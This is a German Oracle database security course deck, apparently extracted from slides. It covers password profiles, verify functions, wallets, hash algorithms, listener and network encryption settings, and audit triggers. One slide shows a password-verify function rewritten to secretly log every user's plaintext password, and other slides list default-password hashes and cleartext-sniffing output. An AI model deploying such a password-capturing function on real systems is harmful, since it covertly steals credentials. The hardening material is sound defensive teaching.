Beispiel: (alle Dateien des aktuellen Verzeichnisses nach manager durchsuchen) root@micky>grep -n ’manager’ *.sql -- oder alle Dateien rekursiv in einem Verzeichnis durchsuchen: root@micky>find/home/oracle –name | xargs grep -n ’connect’ select uwd.username,u.account_status from DBA_USERS_WITH_DEFPWD UWD, DBA_USERS U where uwd.username=u.username Stichwörter: Passwörter in Skripten Security I 3 - 25 Default-Passwörter select username "User(s) where password in ( 'E066D214D5421CCC', '24ABAB8B06281B4C', '72979A94BAD2AF80', 'C252E8FA117AF049', 'A7A32CD03D3CE8D5', '88A2B2C183431F00', '7EFA02EC7EA6B86F', '4A3BA55E08595C81', 'F894844C34402B67', '3F9FBD883D787341', '79DF7A1BD138CF11', '7C9BA362F8314299', '88D8364765FCE6AF', 'F9DA8977092B7B81', '9300C0977D7DC75E', 'A97282CE3D94E29E', 'AC9700FD3F1410EB', 'E7B5D92911C831E1', 'AC98877DE1297365', '66F4EF5650C20355', '84B8CBCA4D477FA3', 'D4C5016086B2DC6A', 'D4DF7931AB130E37') MuniQSoft GmbH with Default Password!" from dba_users ------------------------ dbsnmp ctxsys mdsys odm odm_mtr ordplugins ordsys outln scott wk_proxy wk_sys wmsys xdb tracesvr oas_public websys lbacsys rman perfstat exfsys si_informtn_schema sys system Kapitel 3 - Benutzer & Passwörter Stichwörter: Default-Passwörter Security I 3 - 26 Security I 3 - 26 Schutz durch Profile Alle Benutzer bekommen standardmäßig das Profil „DEFAULT“ zugewiesen Dort sind keine besonderen Schutzvorkehrungen getroffen ALTER PROFILE DEFAULT LIMIT FAILED_LOGIN_ATTEMPTS 3 PASSWORD_LOCK_TIME 5; Nach dem 3ten Fehlversuch erscheint SQL> connect scott/w ERROR: ORA-28000: Account ist gesperrt MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Stichwörter: Schutz durch Profile Security I 3 - 27 Security I 3 - 27 Schutz durch Profile Lebensdauer der Passwörter (Beispiel:60 Tage) Innerhalb der Grace Time (nach Ablauf der Life Time) kann noch das alte Passwort benutzt werden. In unserm Beispiel muss spätestens nach 80 Tagen ein neues Passwort benutzt werden ALTER PROFILE DEFAULT LIMIT PASSWORD_LIFE_TIME 60 PASSWORD_GRACE_TIME 20; MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Stichwörter: Schutz durch Profile Security I 3 - 28 Security I 3 - 28 Schutz durch Profile Passwort-Wiederverwendung Man kann einstellen, wie lange das Passwort nicht erneut verwendet werden darf Parameter wird in Tagen oder Wechselanzahl eingestellt ALTER PROFILE DEFAULT LIMIT PASSWORD_REUSE_TIME 60 PASSWORD_REUSE_MAX 2; MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Security I 3 - 29 Setzen Sie die Oracle-Passwortfunktion „verify_function“ ein durch Ausführen des Skripts ORACLE_HOME/rdbms/admin/utlpwdmg.sql Dieses Skript muss als SYS gestartet werden Passwörter sollten dann nicht mittels ALTER USER <user> IDENTIFIED BY <pwd> geändert werden sondern über SQL*Plus SQL>password Stichwörter: Schutz durch Profile Security I 3 - 29 Schutz durch Profile Die Passwort-Funktion wird eingeschalten durch: ALTER PROFILE default LIMIT PASSWORD_VERIFY_FUNCTION verify_function; Ausschalten kann man sie mittels: ALTER PROFILE default LIMIT PASSWORD_VERIFY_FUNCTION null; MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Stichwörter: Schutz durch Profile Security I 3 - 30 Security I 3 - 30 Schutz durch Passwortfunktion Setzen Sie die Oracle-Passwortfunktion „verify_function“ ein durch Ausführen des Skripts @?/rdbms/admin/utlpwdmg.sql Dieses Skript muss als SYS gestartet werden Passwörter sollten nicht mittels ALTER USER <user> IDENTIFIED BY <pwd> geändert werden sondern über SQL*Plus MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Security I 3 - 31 CREATE OR REPLACE FUNCTION sys.verify_function (username varchar2,password varchar2, old_password varchar2) RETURN boolean IS n boolean; m integer; differ integer; isdigit boolean; ischar boolean; ispunct boolean; digitarray varchar2(20); punctarray varchar2(25); chararray varchar2(52); BEGIN digitarray:= '0123456789'; chararray:= 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; punctarray:='!"#$%&()``*+,-/:;<=>?_'; -- Check if the password is same as the username IF NLS_LOWER(password) = NLS_LOWER(username) THEN raise_application_error(-20001, 'Password same as or similar to user'); END IF; -- Check for the minimum length of the password IF length(password) < 4 THEN raise_application_error(-20002, 'Password length less than 4'); END IF; -- Check if the password is too simple. A dictionary of words may be maintained and a check may be made so as -- not to allow the words that are too simple for the password. IF NLS_LOWER(password) IN ('welcome', 'database', 'account', 'user', 'password', 'oracle', 'computer', 'abcd') THEN raise_application_error(-20002, 'Password too simple'); END IF; -- Check if the password contains at least one letter, one digit and on punctuation mark. -- 1. Check for the digit Stichwörter: Schutz durch Passwortfunktion Security I 3 - 31 Die Passwortfunktion Kann vom Benutzer nachträglich geändert und neu kompiliert werden Nehmen Sie jedoch dafür einen neuen Namen Ändern Sie z. B. die minimale Passwortlänge auf 6 IF length(password) < 7 THEN raise_application_error( -20002, 'Password length less than 4'); END IF; MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Security I 3 - 32 isdigit:=FALSE; m := length(password); FOR i IN 1..10 LOOP FOR j IN 1..m LOOP IF substr(password,j,1) = substr(digitarray,i,1) THEN isdigit:=TRUE; GOTO findchar; END IF; END LOOP; END LOOP; IF isdigit = FALSE THEN raise_application_error(-20003, 'Password should contain at least one digit, one character and one punctuation'); END IF; -- 2. Check for the character <<findchar>> ischar:=FALSE; FOR i IN 1..length(chararray) LOOP FOR j IN 1..m LOOP IF substr(password,j,1) = substr(chararray,i,1) THEN ischar:=TRUE; GOTO findpunct; END IF; END LOOP; END LOOP; IF ischar = FALSE THEN raise_application_error(-20003, 'Password should contain at least one digit, one character and one punctuation'); END IF; -- 3. Check for the punctuation <<findpunct>> ispunct:=FALSE; FOR i IN 1..length(punctarray) LOOP FOR j IN 1..m LOOP IF substr(password,j,1) = substr(punctarray,i,1) THEN ispunct:=TRUE; GOTO endsearch; END IF; END LOOP; END LOOP; Stichwörter:Passwortfunktion Security I 3 - 32 Die Passwortfunktion Ändern Sie auch die gängigsten Passwörter ab (z. B. Hinzufügen des Firmennamens) IF NLS_LOWER(password) IN ('welcome', 'database', 'account', 'user', 'password', 'oracle', 'computer', 'abcd', '123456','123','gast','qwert') THEN raise_application_error(-20002, 'Password too simple'); END IF; MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter IF ispunct = FALSE THEN raise_application_error(-20003, 'Password should contain at least one \ digit, one character and one punctuation'); END IF; <<endsearch>> -- Check if the pwd differs from the previous pwd by at least 3 letters IF old_password IS NOT NULL THEN differ := length(old_password) - length(password); IF abs(differ) < 3 THEN IF length(password) < length(old_password) THEN m := length(password); ELSE m := length(old_password); END IF; differ := abs(differ); FOR i IN 1..m LOOP IF substr(password,i,1) != substr(old_password,i,1) THEN differ := differ + 1; END IF; END LOOP; IF differ < 3 THEN raise_application_error( -20004, 'Password should differ by at least 3 characters'); END IF; END IF; END IF; -- Everything is fine; return TRUE ; RETURN(TRUE); END; Stichwörter:Passwortfunktion Security I 3 - 33 Security I 3 - 33 Passwortfunktion als Spion ☺ CREATE OR REPLACE FUNCTION verify_function (username varchar2, password varchar2, old_password varchar2) RETURN boolean IS BEGIN insert into meine_passwortliste (usr,pwd) values (username,password); RETURN TRUE; END; ALTER PROFILE default LIMIT PASSWORD_VERIFY_FUNCTION verify_function; MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Stichwörter: Passwortfunktion als Spion Security I 3 - 34 Security I 3 - 34 Neue Passwort-Prüf-Funktion in 12c Oracle liefert schon seit der Version 8i ein Skript (utlpwdmg.sql) zur Prüfung der Passwortqualität aus Neu in 12c sind folgende Funktionen: verify_function_11g (entspricht der alten Überprüfung) ora12c_verify_function (Prüft einige zusätzliche Aspekte wie Passwort=Servername) ora12c_strong_verify_function (Erfüllt sogar die Richtlinien des US Verteidigungsministeriums) [in 12.1.0.2 wieder entfernt] MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Security I 3 - 35 Security I 3 - 35 Anmeldung mit verschlüsselten Passwort Folgende Parameter werden für eine Anmeldung an der DB verwendet: Aliasname der TNSNAMES.ORA TNSNAMES Datei Müssen gleich sein Servername oder IP Adresse Portnummer des Listener Service Name oder SID Aliasname der Verschlüsselung Wallet Datei Benutzername Passwort MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Security I 3 - 36 Security I 3 - 36 Anmeldung mit verschlüsselten Passwort Wallet für verschlüsselte Passwörter anlegen: SET ORACLE_HOME= d:\oracle\product\11.2.0\dbhome_1 SET CONNECT_ALIAS=o11g %ORACLE_HOME%\bin\mkstore -wrl "%ORACLE_HOME%\NETWORK\ADMIN" –create Ausgabe: Kennwort eingeben geheim123# Kennwort erneut eingeben geheim123# Dadurch werden zwei Dateien angelegt (cwallet.sso und ewallet.p12). Wenn diese auf einen anderen Rechner kopiert werden, kann man auch dort mit den Wallet-Inhalten arbeiten. Ab 11.2 kann ein Wallet angelegt werden, dessen Dateien nur auf dem lokalen Server funktionieren: orapki wallet create -wallet "." -auto_login_local MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Security I 3 - 37 Leider kann dadurch auch nur der Ersteller das Wallet für Zugriffe auf Datenbanken nutzen, unabhängig von den Betriebssystemberechtigungen dieser Datei(en). Unberechtigte Benutzer oder Server erhalten bei der Benutzung dieses Wallets eine Fehlermeldung: ERROR: ORA-12578: TNS:wallet open failed Stichwörter: Anmeldung mit verschlüsselten Passwort Security I 3 - 37 Anmeldung mit verschlüsselten Passwort Passwort für Benutzer SCOTT verschlüsselt speichern %ORACLE_HOME%\bin\mkstore -wrl "%ORACLE_HOME%\NETWORK\ADMIN" -createCredential %CONNECT_ALIAS% scott tiger Ausgabe Wallet-Kennwort eingeben: geheim123# Legen Sie einen tnsnames.ora Eintrag mit Namen des CONNECT_ALIAS an: o11g = (DESCRIPTION = (ADDRESS = (PROTOCOL = TCP)(HOST = 127.0.0.1)(PORT = 1521)) (CONNECT_DATA = (SERVER = DEDICATED) (SERVICE_NAME = o11g)) ) Tragen Sie in die sqlnet.ora Datei auf dem Client ein: WALLET_LOCATION=(SOURCE=(METHOD=FILE) (METHOD_DATA = (DIRECTORY = d:\oracle\product\11.2.0\dbhome_1\network\admin))) SQLNET.WALLET_OVERRIDE = TRUE Ein Anmeldung ist nun möglich über: sqlplus /@o11g MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Stichwörter: Anmeldung mit verschlüsselten Passwort Security I 3 - 38 Security I 3 - 38 Neuer / alter Password Hash Oracle hat seit 11.1 eine neue Passwortverschüsselungs-Methode auf Basis des SHA 160 Bit Algorithmus entwickelt Leider wird auch das alte Verfahren noch parallel verwendet, um auch älteren Clients eine Möglichkeit zu geben, sich noch anzumelden Die Passwörter stehen in den Spalten password (alt) bzw. spare4 (neu) der Tabelle sys.user$ MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Security I 3 - 39 Security I 3 - 39 Neuer / alter Password Hash Oracle empfiehlt laut MOS Doc ID 463999.1 folgenden Befehl bis 12.1.0.2 abzusetzen, wenn nur noch das neue Verfahren benutzt werden soll: UPDATE user$ SET PASSWORD = null; Leider wird im Dokument verschwiegen, dass das nach jeder Passwortänderung erneut durchgeführt werden muss Im Skript unten wird dies durch einen Trigger automatisiert Zusätzlich muss in der Server seitigen sqlnet.ora Datei der folgende Parameter gesetzt werden: SQLNET.ALLOWED_LOGON_VERSION=12 MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Security I 3 - 40 CREATE OR REPLACE TRIGGER sys.check_alter_user AFTER ALTER ON DATABASE DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN IF DICTIONARY_OBJ_TYPE='USER' THEN DBMS_SCHEDULER.CREATE_JOB ( job_name => 'REMOVE_OLD_PWD', job_action => ' DECLARE my_usr VARCHAR2(64):='''||DICTIONARY_OBJ_NAME||'''; BEGIN UPDATE sys.user$ SET password=NULL WHERE name=my_usr; COMMIT; END;', start_date => SYSTIMESTAMP+ INTERVAL '2' second, job_type => 'PLSQL_BLOCK', enabled => TRUE); commit; END IF; EXCEPTION WHEN OTHERS THEN NULL; END; / Security I 3 - 40 Abschalten des alten PWD Algorithmus Seit Oracle 11 wird ein neuer PWD Algorithmus verwendet. Leider wird der alte nicht automatisch abgeschaltet. Sie können das in der Datei der sqlnet.ora konfigurieren 10g Clients (mit CPUOct2012) und höher SQLNET.ALLOWED_LOGON_VERSION_SERVER=11 11g Clients Verschlüsselung verwenden (ab 11.2.0.3): SQLNET.ALLOWED_LOGON_VERSION_SERVER=12 11g und 12c Verschlüsselung verwenden (ab 12.1.0.2): SQLNET.ALLOWED_LOGON_VERSION_SERVER=12a Hier wird beim Neusetzen des Passworts sowohl die alte 10g als auch 11g Form des Passworts entfernt MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Security I 3 - 41 Hinweis: Auf Clientseite gibt es den zugehörigen korrespondierenden Parameter: SQLNET.ALLOWED_LOGON_VERSION_CLIENT Auch dieser kann die Werte: 12a für Oracle Database 12c Release 1 (12.1) 12.1.0.2 oder höher 12 für den Critical Patch Updates CPUOct2012 oder später +Oracle Database 11g Authentication Protocols (Empfohlen) 11 für Oracle Database 11g Authentication Protocols (dDfault) 10 für Oracle Database 10g Authentication Protocols 8 für Oracle8i Authentication Protocols Hinweis: Sie bekommen eine ORA-01017 Fehlermeldung, wenn Sie sich mit einer zu niedrigen Client-Version anmelden. Security I 3 - 41 Abschalten des alten PWD Algorithmus Wenn im Parameter SQLNET.ALLOWED_LOGON_VERSION_SERVER=12[a] steht, wird die Spalte password der Tabelle sys.user$ nicht mehr gefüllt Damit ist der alte Algorithmus abgeschalten, es können sich aber nur noch Clients mit entsprechnd hoher Version anmelden Empfehlung von Oracle: Alle bisherigen Accounts nach einer Migration auf Expire setzen und neu vergeben [lassen] ALTER USER <user> PASSWORD EXPIRE; MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Security I 3 - 42 Testcase unter 12.1.0.2: (Jedes Mal neu anmelden !) ALTER USER marco IDENTIFIED BY abc; SELECT name,password,spare4 FROM user$ WHERE name='MARCO'; Mit SQLNET.ALLOWED_LOGON_VERSION_SERVER=12a H:962BC5437A88D9AED498DD155B4B70A2;T:04527A91D30B1A9D850D1D5DF1D6C7C325 2FB6E35E51E239C1CB9F42F5559DA1E669E0DF6B982D7A45D1FDE4255C6ED8560E649A F3E9EBB06AA8D7AAA968F460FCB926F31BBFF99C0237908C42DD4C90 Mit SQLNET.ALLOWED_LOGON_VERSION_SERVER=12 S:A88A6DDF33EB3846F1B7D5075F91DE0095F9E5FDBDABC052A82353E628D8;H:962BC5 437A88D9AED498DD155B4B70A2;T:5D31FC2A24536479D857696E3377229265C535D01DA 39DCCA58C33827A0E01B42D1194A0F59B02DE7714825AD8F9860A0BF6F21159F4D545AB 174A287BF15447054CF9A24A4D5DCDA7F14C289C3C75CC Security I 3 - 42 Neue Passwortverschlüsselung in 12.1.0.2 Oracle verwendet ab 12.1.0.2 den SHA-512 Krypto-Hash für die Passwortverschlüsselung Zuerst wird PBKDF2 incl Salt verwendet (http://de.wikipedia.org/wiki/PBKDF2) um Rainbow Tables und Brut Force Angriffe zu erschweren OCI und JDBC Client in der Version 12c unterstützen diese neue Authentifizierung MuniQSoft GmbH Kapitel 3 - Benutzer & Passwörter Security I 3 - 43 Security I 3 - 43 Kapitel 4 Netzwerksicherheit Security I 4 - 1 Einleitung Generell sollte der Listener bei Verdacht eines Angriffs mittels Tracing und Logging überwacht werden Es ist außerdem einstellbar, dass man sich nur von bestimmten Clients aus anmelden kann Leider sind einige Sicherheitslücken beim Listener aufgetaucht, die u. U. nur mit neuen Patches behebbar sind. Prüfen Sie hier die neuesten Einträge unter myoraclesupport.com MuniQSoft GmbH Kapitel 4 - Netzwerksicherheit Security I 4 - 2 Der Listener dient dem Verbindungsaufbau zwischen Client und Server. Er ist auf dem Server installiert und kommuniziert mit dem Client auf einem fest definierten Port. Wenn das Netzwerk sauber strukturiert ist, kann definiert werden, welche Clients sich anmelden dürfen und welche nicht. Die folgenden Parameter beziehen sich auf die Listener-Steuerdatei (Listener.ora), die sich im <ORACLE_HOME>/Network/Admin Verzeichnis befindet. Sollte der Parameter TNS_ADMIN (unter Windows in der Registry, unter UNIX in der Datei .profile/.cshrc) gesetzt sein, kann das Verzeichnis auch anders lauten. Beispiel für Listener.ora: LISTENER = (DESCRIPTION_LIST = (DESCRIPTION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC))) (ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.1.13)(PORT = 1521)) ) ) ) Security I 4 - 2 Tipps & Tricks Verwenden Sie nicht die Standard Ports 1521 und 1526 sondern z.B. einen anderen Port wie 56789 Überwachen Sie die listener.ora und die Log-Dateien Wenn möglich sollte die Standard ORACLE_SID wie ORCL, TEST oder PROD nicht verwendet werden MuniQSoft GmbH Kapitel 4 - Netzwerksicherheit Stichwörter: Tipps Security I 4 - 3 Security I 4 - 3 Netzwerkverschlüsselung Sniffing Hierunter wird das Abhören des Netzwerkverkehrs verstanden. Switches schicken eigentlich nur noch die Pakete an den richtigen Empfänger und nicht an jeden Rechner, jedoch kann mit div. Tools eine falsche IP-Adresse vorgetäuscht werden Auch das Anzapfen der Netzwerkschränke stellt eine Möglichkeit der Spionage dar Man in the Middle Verändern der Inhalte der Pakete, die zwischen Client und Server hin und her geschickt werden So kann z. B. ein ALTER USER SYS IDENTIFIED BY SYS; Befehl eingeschmuggelt werden MuniQSoft GmbH Kapitel 4 - Netzwerksicherheit Weitere Inhalte der Advanced Security Option: •Transparente Daten Verschlüsselung • Spaltenverschlüsselung • Tablespaceverschlüsselung •Netzwerk Verschlüsselung und Datenintegrität •Starke Authentifikation mittels • Kerberos • RADIUS (Remote Authentication Dial-In User Service) • Secure Sockets Layer (mit digitalen Zertifikaten) • PKI Stichwörter: Sniffing, Man in the Middle Security I 4 - 4 Security I 4 - 4 Netzwerkverschlüsselung (f) Folgende Manipulationen können erkannt werden: Datenmodifikation durch Dritte (Prüfsummen sind falsch) Datenpakete werden gelöscht (Sequenznummer ist falsch) Datenpakete werden zusätzlich eingeschleust (Sequenznummer ist falsch) Wenn Oracle einen dieser Angriffsversuche erkennt, wird die Kommunikation sofort abgebrochen Lizenzhinweis (Stand 08/2014): Network encryption (native network encryption and SSL/TLS) and strong authentication services (Kerberos, PKI, and RADIUS) are no longer part of Oracle Advanced Security and are available in all licensed editions of all supported releases of the Oracle database. Das heißt sie ist FREI !!!!!! MuniQSoft GmbH Kapitel 4 - Netzwerksicherheit Security I 4 - 5 Die Advanced Security Option wurde entwickelt, um einen sicheren Datenverkehr zwischen Client und Server zu ermöglichen. Die Daten werden in beide Richtungen verschlüsselt, um Datenspionage und Datenmanipulation zu verhindern. Geschwindigkeitseinbuße durch ANO ca. 20% Weitere mögliche TYPES Einstellungen • RC4 40-bit encryption RC4 56-bit encryption RC4 128-bit encryption RC4 256-bit encryption DES40 40-bit encryption DES 56-bit encryption 3DES 112-bit encryption 3DES 168-bit encryption AES 128-bit encryption AES 192-bit encryption AES 256-bit encryption MD5 crypto-checksumming SHA-1 crypto-checksumming Kerberos v5 authentication RADIUS authentication • Folgender Fehler kann auftreten: • ERROR: ORA-12645: Parameter nicht vorhanden. Lösung: • Parameter CRYPTO_SEED wurde vergessen • Text des Parameters CRYPTO_SEED wurde nicht in "" gesetzt Stichwörter: erkennbare Manipulationen Security I 4 - 5 SQLNET.ORA Parameter Verschlüssellungsart: SQLNET.ENCRYPTION_TYPES_[CLIENT|SERVER] Aktivierung der Verschlüsselungsart SQLNET.ENCRYPTION_[CLIENT|SERVER] Prüfsummen gegen Datenmanipulation SQLNET.CHECKSUM_TYPES_[CLIENT|SERVER] Aktivierung der Prüfsummen SQLNET.CRYPTO_CHECKSUM _[CLIENT|SERVER] MuniQSoft GmbH Kapitel 4 - Netzwerksicherheit Security I 4 - 6 Security I 4 - 6 Integritätsprüfung Prüfsummen erzeugen, damit Daten auf dem Weg zwischen Client-Server-Client nicht manipuliert werden können Server-Seite SQLNET.CRYPTO_CHECKSUM_TYPES_SERVER = (MD5) SQLNET.CRYPTO_CHECKSUM_SERVER = REQUIRED Client-Seite SQLNET.CRYPTO_CHECKSUM_TYPES_CLIENT = (MD5) SQLNET.CRYPTO_CHECKSUM_CLIENT = REQUESTED Weitere mögliche TYPES Einstellungen MD5 (RSA MD5 Algorithmus (unsicher)) SHA1 SHA256 oder SHA384 oder SHA512 (ab 12.1) MuniQSoft GmbH Kapitel 4 - Netzwerksicherheit Stichwörter: Integritätsprüfung Security I 4 - 7 Security I 4 - 7 Einstellung in der SQLNET.ORA Verschlüsselung des Datenverkehrs aktivieren: Server Seite: SQLNET.ENCRYPTION_TYPES_SERVER= RC4_256 SQLNET.ENCRYPTION_SERVER = REQUIRED Client Seite: SQLNET.ENCRYPTION_TYPES_CLIENT= RC4_256 SQLNET.ENCRYPTION_CLIENT = REQUIRED Das passiert, wenn man nicht verschlüsselt … MuniQSoft GmbH Kapitel 4 - Netzwerksicherheit Mögliche Einstellungen für ENCRYPTION: • • • • ACCEPTED REJECTED REQUESTED REQUIRED Mögliche Einstellungen ENCRYPTION_TYPES •3des112 für triple DES mit einer zwei Schlüssel (112-bit) Option •3des168 für triple DES mit einer zwei Schlüssel (168-bit) Option •aes128 •aes192 •aes256 •des für Standard DES (56-bit Schlüssel) •des40 für DES (40-bit Schlüssel) •rc4_40 für RSA RC4 (40-bit Schlüssel) •rc4_56 für RSA RC4 (56-bit Schlüssel) •rc4_128 für RSA RC4 (128-bit Schlüssel) •rc4_256 für RSA RC4 (256-bit Schlüssel) Stichwörter: Verschlüsselung des Datenverkehrs Security I 4 - 8 Security I 4 - 8 Client/Server Einstellkombinationen Client Rejected Accepted Requested Required Server Rejected Nein Nein Nein Keine Verb. Accepted Nein Nein Ja Ja Requested Nein Ja Ja Ja Keine Verb. Ja Ja Ja Required MuniQSoft GmbH Kapitel 4 - Netzwerksicherheit Security I 4 - 9 Required • Der Sicherheitsdienst wird zwingend verwendet, sonst entsteht keine Verbindung Requested • Der Sicherheitsdienst wird benutzt, wenn die Gegenseite ihn auch unterstützt Accepted • Der Sicherheitsdienst wird verwendet, wenn die Gegenseite ihn erbittet Rejected • Der Sicherheitsdienst wird nicht verwendet, auch wenn die Gegenseite ihn anfordert Stichwörter: Server/Client Einstellkombinationen Security I 4 - 9 Funktionstest der Verschlüsselung Schalten Sie Tracing in der Datei SQLNET.ORA ein: TRACE_LEVEL_CLIENT = 16 TRACE_DIRECTORY_CLIENT = /u01/trace Hinweis: Unter Windows wird immer ins C:\Documents and Settings\Oracle\oradiag_\diag\clients\user_\host_<...>\trace\ Verzeichnis geschrieben !!! TRACE_FILE_CLIENT = ano.trc Melden Sie sich an und setzen sie folgenden Befehl ab: connect system/sys SELECT 'Marco' FROM dual; oder ALTER USER marco IDENTIFIED BY supergeheim; In der Tracedatei darf das Wort Marco nun nicht vorkommen! MuniQSoft GmbH Kapitel 4 - Netzwerksicherheit Security I 4 - 10 Wenn die Verschlüsselung nicht eingeschaltet wurde, kann man den Netzwerkverkehr mitlesen: [23-FEB-2005 [23-FEB-2005 [23-FEB-2005 [23-FEB-2005 [23-FEB-2005 [23-FEB-2005 [23-FEB-2005 [23-FEB-2005 [23-FEB-2005 [23-FEB-2005 [23-FEB-2005 [23-FEB-2005 [23-FEB-2005 [23-FEB-2005 [23-FEB-2005 [23-FEB-2005 [23-FEB-2005 [23-FEB-2005 [23-FEB-2005 [23-FEB-2005 [23-FEB-2005 13:59:51:716] 13:59:51:716] 13:59:51:716] 13:59:51:716] 13:59:51:716] 13:59:51:716] 13:59:51:716] 13:59:51:716] 13:59:51:716] 13:59:51:716] 13:59:51:716] 13:59:51:716] 13:59:51:716] 13:59:51:716] 13:59:51:716] 13:59:51:716] 13:59:51:716] 13:59:51:716] 13:59:51:716] 13:59:51:716] 13:59:51:716] nsprecv: nsprecv: nsprecv: nsprecv: nsprecv: nsprecv: nsprecv: nsprecv: nsprecv: nsprecv: nsprecv: nsprecv: nsprecv: nsprecv: nsprecv: nsprecv: nsprecv: nsprecv: nsprecv: nsprecv: nsprecv: packet dump 01 20 00 00 00 00 10 19 74 06 83 68 02 17 0E 23 00 00 00 00 00 01 00 00 80 00 00 05 00 00 00 00 00 00 00 00 00 01 00 05 07 07 00 00 41 52 43 4F 00 00 00 00 00 07 78 69 34 06 01 02 00 01 00 00 00 00 00 00 00 00 00 00 05 4D 61 72 00 05 B2 44 06 35 00 27 00 00 00 00 00 00 00 27 00 02 EC 00 00 00 63 00 00 09 00 ED 05 37 00 00 00 00 07 00 07 17 01 BF A4 BF 6F 00 00 5B 78 02 00 01 00 00 00 00 27 00 00 0E 00 06 0D 06 08 00 Stichwörter: Verschlüsselung überprüfen Security I 4 - 10 00 17 69 00 00 60 00 00 B2 01 4D 00 00 3C 00 00 00 07 05 00 |........| |....5.[.| |t..h..xi| |...#'...| |........| |.....7.`| |........| |........| |........| |........| |......'M| |ARCO'...| |........| |..xi...<| |4.......| |........| |........| |........| |.Marco..| |...D....| Kapitel 5 Trigger Security I 5 - 1 Überwachung mittels Trigger Trigger zünden bei einem DML oder DDL Befehl. Mit DDL Trigger können auch der Datenbankstart/stop und das An/Abmelden der Benutzer getriggert werden Sie können aufzeichnen, welche Aktion durchgeführt wurde. Trigger können autonome Transaktionen durchführen (Das sind separate Transaktionen, die mit einem COMMIT abgeschlossen werden). Sie bieten die einzige Möglichkeit, um Datenveränderungen in Tabellen zu dokumentieren. Achtung: Trigger verlangsamen DML-Transaktionen MuniQSoft GmbH Kapitel 5 - Trigger Security I 5 - 2 Stichwörter: Überwachung, Trigger Security I 5 - 2 Beispiel für einen Trigger: CREATE OR REPLACE TRIGGER emp_trig_idu BEFORE UPDATE OR INSERT OR DELETE ON emp FOR EACH ROW WHEN (NVL(old.sal,0)<>nvl(new.sal,0) ) DECLARE vmode VARCHAR2(20); BEGIN IF updating THEN vmode:='Upd'; ELSIF deleting THEN vmode:='Del'; ELSE vmode:='Ins'; END IF; /*##### Aufzeichnung der Gehaltsveränderung in emp-Tab. */ INSERT INTO emp_audit (cmode,empno,ename,old_sal,new_sal,user_name,change_date) VALUES (vmode,nvl(:old.empno,:new.empno,nvl(:old.ename,:new.ename) ,:old.sal,:new.sal,user,sysdate); END; MuniQSoft GmbH Kapitel 5 - Trigger Security I 5 - 3 Stichwörter: Security I 5 - 3 Logon Trigger CREATE OR REPLACE TRIGGER afterlogon AFTER LOGON on DATABASE BEGIN RAISE_APPLICATION_ERROR (-20001, 'You are not allowed to logon from this terminal'); END; / Mit zeitlicher Steuerung if ( to_char( sysdate, 'hh24' ) not between 7 and 18 )then Abhängig vom Terminal sys_context('userenv','Terminal') ='Hauptterminal' MuniQSoft GmbH Kapitel 5 - Trigger Security I 5 - 4 Ein After Logon Trigger zündet immer dann, wenn ein Benutzer sich an der Datenbank anmeldet. Mit diesem Trigger könnte z. B. ein Anmelden von bestimmten Konstellationen abhängig gemacht werden (z. B. Uhrzeit, Tag, Benutzername, u.s.w.) CREATE OR REPLACE TRIGGER afterlogon AFTER LOGON on DATABASE BEGIN Durch den RAISE… wird der Benutzer wieder abgemeldet RAISE_APPLICATION_ERROR (-20001, 'You are not allowed to logon from this terminal'); END; / Rem Mit zeitlicher Steuerung IF ( TO_CHAR( sysdate, 'hh24' ) NOT BETWEEN 7 AND 18 ) THEN rem abhängig vom Terminal SYS_CONTEXT('USERENV','TERMINAL') ='HAUPTTERMINAL' REM abhängig vom Benutzer SYS_CONTEXT('USERENV', 'CURRENT_USER') ='USER' Stichwörter: Logon Trigger Security I 5 - 4 System-Trigger Folgende System-Ereignisse können Trigger auslösen. AFTER LOGON ON SCHEMA | DATABASE BEFORE LOGOFF ON SCHEMA | DATABASE AFTER SERVERERROR ON SCHEMA | DATABASE AFTER STARTUP ON DATABASE BEFORE SHUTDOWN ON DATABASE BEFORE UNPLUG ON PLUGGABLE DATABASE (ab 12c) Vorsicht bei einem AFTER LOGON ON DATABASETrigger: Schlägt er fehl, kann sich nur noch ein SYSDBA einloggen MuniQSoft GmbH Kapitel 5 - Trigger Security I 5 - 5 Systemtrigger In System- und DDL-Triggern stehen eine Reihe neuer Attribute zur Verfügung, die alle inclusive Schemaname des Owners (=SYS) verwendet werden müssen. Alle neuen Trigger verfügen über folgende Attribute: • • • • SYSEVENT (Return VARCHAR2(20)): Name des auslösenden Events LOGIN_USER (Return VARCHAR2(30)): angemeldeter User INSTANCE_NUM (Return NUMBER): Instanznummer DATABASE_NAME (Return VARCHAR2(50)): Datenbankname Bei SERVERERROR-Triggern sind zusätzlich verfügbar: • • SERVER_ERROR(n) (Return NUMBER): Fehlernummer an der Position n im errorstack IS_SERVERERROR(<Fehlernummer>) (Return BOOLEAN): Gibt TRUE zurück, falls der Fehler mit dieser Fehlernummer aufgetreten ist Ab Version 8.1.6 gibt es Public Synonyme für diese Attribute: • • • • • • ORA_SYSEVENT für SYS. SYSEVENT ORA_LOGIN_USER für SYS. LOGIN_USER ORA_INSTANCE_NUM für SYS. INSTANCE_NUM ORA_ DATABASE_NAME für SYS.DATABASE_NAME ORA_ SERVER_ERROR für SYS. SERVER_ERROR ORA_ IS_SERVERERROR für SYS. IS_SERVERERROR Stichwörter: System-Trigger Security I 5 - 5 Beispiel System-Trigger CREATE OR REPLACE TRIGGER log_trig AFTER LOGON ON DATABASE BEGIN INSERT INTO logevents 